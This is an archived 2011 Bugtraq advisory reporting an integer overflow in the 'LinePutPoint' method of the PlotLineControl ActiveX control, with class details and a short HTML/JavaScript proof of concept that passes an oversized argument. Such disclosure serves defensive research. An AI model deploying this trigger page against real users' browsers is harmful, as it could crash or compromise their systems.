lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
Open Source and information security mailing list archives
| ||
|
Date: Sun, 30 Oct 2011 10:57:45 GMT From: demonalex@....com To: bugtraq@...urityfocus.com Subject: PlotLineControl ActiveX Control "LinePutPoint" Integer Overflow Title: PlotLineControl ActiveX Control "LinePutPoint" Integer Overflow Software: PlotLineControl ActiveX Control(Version 2.0) Vulnerability Published :2011-10-30 Vulnerability Update Time :2010-06-10 Vendor: No vendor response Impact: Median Bug Description: PlotLineControl is a free ActiveX Control which was easy for drawing circle. User-supplied data in "LineId" parameter is not properly integrity-checked before being copied into an insufficiently sized buffer in "LinePutPoint()" method. Successfully exploiting the vulnerability allows remote attackers to execute arbitrary code in the context of the vulnerable application using the ActiveX control. Class Info: Class PlotLine GUID: {70D036E3-60C0-11D7-B4C2-A7A5AF6F7E11} Number of Interfaces: 1 Default Interface: PlotX RegKey Safe for Script: False RegkeySafe for Init: False KillBitSet: False PoC: **************************************************************** <html> <body> <object classid='clsid:70D036E3-60C0-11D7-B4C2-A7A5AF6F7E11' id='target'></object> <script language='javascript'> var arg1 = 1; var arg2 = 1; var arg3 = 2147482111; target.LinePutPoint(arg1 ,arg2 ,arg3); </script> </body> </html> **************************************************************** Credits: This vulnerability was discovered by demonalex (at) 163 (dot) com [email concealed] Pentester/Researcher Dark2S Security Team/PolyU.HK
Powered by blists - more mailing lists